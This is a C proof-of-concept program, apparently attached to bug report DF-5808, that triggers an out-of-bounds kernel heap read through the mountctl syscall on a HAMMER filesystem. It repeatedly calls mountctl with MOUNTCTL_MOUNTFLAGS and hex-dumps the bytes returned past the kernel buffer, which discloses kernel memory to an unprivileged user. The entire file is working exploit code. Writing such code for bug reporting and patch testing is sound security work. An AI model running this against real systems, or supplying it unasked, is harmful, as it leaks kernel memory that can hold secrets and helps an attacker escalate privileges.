DF-5808 / mctl.c
/* * DF-5808 trigger: unprivileged mountctl(MOUNTCTL_MOUNTFLAGS) on a HAMMER(1) * mount -> hammer_vop_mountctl() double-counts *a_res, sys_mountctl() * copyout()s an inflated length from the (buflen+1)-byte kernel heap buffer * -> OOB kernel heap read disclosed to userspace. * * usage: mctl <path> <buflen> [runs] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/syscall.h> #ifndef SYS_mountctl #define SYS_mountctl 468 #endif #define MOUNTCTL_MOUNTFLAGS 18 int main(int argc, char **argv) { const char *path; int buflen, runs = 1, i, j; char *out; long ret; if (argc < 3) { fprintf(stderr, "usage: %s <path> <buflen> [runs]\n", argv[0]); return 1; } path = argv[1]; buflen = atoi(argv[2]); if (argc > 3) runs = atoi(argv[3]); out = calloc(65536 + 16, 1); if (!out) return 1; for (i = 0; i < runs; i++) { memset(out, 0, 65536 + 16); errno = 0; ret = syscall(SYS_mountctl, path, MOUNTCTL_MOUNTFLAGS, -1, NULL, 0, out, buflen); if (ret < 0) { printf("run %d: mountctl errno=%d (%s)\n", i, errno, strerror(errno)); continue; } printf("run %d: ret=%ld buflen=%d flags_str=[%s] " "strlen=%zu\n", i, ret, buflen, out, strlen(out)); if (ret > buflen) { printf(" *** ret(%ld) > buflen(%d): " "%ld bytes past the %d-byte kernel buffer\n", ret, buflen, (long)ret - buflen, buflen); /* dump everything from strlen() onward */ printf(" tail dump (offset strlen .. ret-1):\n"); for (j = 0; j < ret; j += 16) { int k; printf(" %04x: ", j); for (k = 0; k < 16 && j + k < ret; k++) printf("%02x ", (unsigned char)out[j + k]); printf(" |"); for (k = 0; k < 16 && j + k < ret; k++) { unsigned char c = out[j + k]; putchar((c >= 32 && c < 127) ? c : '.'); } printf("|\n"); } } } free(out); return 0; } |